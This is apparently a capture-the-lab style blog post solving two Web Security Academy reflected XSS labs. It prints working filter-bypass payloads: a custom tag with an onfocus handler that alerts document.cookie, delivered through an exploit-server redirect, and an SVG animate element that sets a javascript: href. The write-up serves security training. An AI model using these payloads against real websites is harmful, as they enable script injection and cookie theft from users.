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Friday, 7 August 2020

Reflected XSS with event handlers and href attributes blocked



Lab: Reflected XSS into HTML context with all tags blocked except custom ones



This lab blocks all HTML tags except custom ones.

To solve the lab, perform a cross-site scripting attack that injects a custom tag and automatically alerts document.cookie.


Access the lab


Click Here :- Lab


Solution


Go to the exploit server and paste the following code, replacing your-lab-id with your lab ID:



<script>
location = 'https://your-lab-id.web-security-academy.net/?search=%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E#x';
</script>



Click "Store" and "Deliver exploit to victim".



This injection creates a custom tag with the ID x, which contains an onfocus event handler that triggers the alert function. The hash at the end of the URL focuses on this element as soon as the page is loaded, causing the alert payload to be called.





Reflected XSS with event handlers and href attributes blocked


Lab: Reflected XSS with event handlers and href attributes blocked


This lab contains a reflected XSS vulnerability with some whitelisted tags, but all events and anchor href attributes are blocked..


To solve the lab, perform a cross-site scripting attack that injects a vector that, when clicked, calls the alert function.


Note that you need to label your vector with the word "Click" in order to induce the simulated lab user to click your vector. For example: <a href="">Click me</a>



Access the lab  

 

Click Here :- Lab

Solution


Visit the following URL, replacing your-lab-id with your lab ID:


https://your-lab-id.web-security-academy.net/?search=%3Csvg%3E%3Ca%3E%3Canimate+attributeName%3Dhref+values%3Djavascript%3Aalert(1)+%2F%3E%3Ctext+x%3D20+y%3D20%3EClick%20me%3C%2Ftext%3E%3C%2Fa%3E




Video Tutorial :- 



   

 

Disclaimer


This was written for educational purpose and pentest only.
The author will not be responsible for any damage ..!
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This information shall only be used to expand knowledge and not for causing  malicious or damaging attacks. Performing any hacks without written permission is illegal ..!


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- Hacking Truth by Kumar Atul Jaiswal



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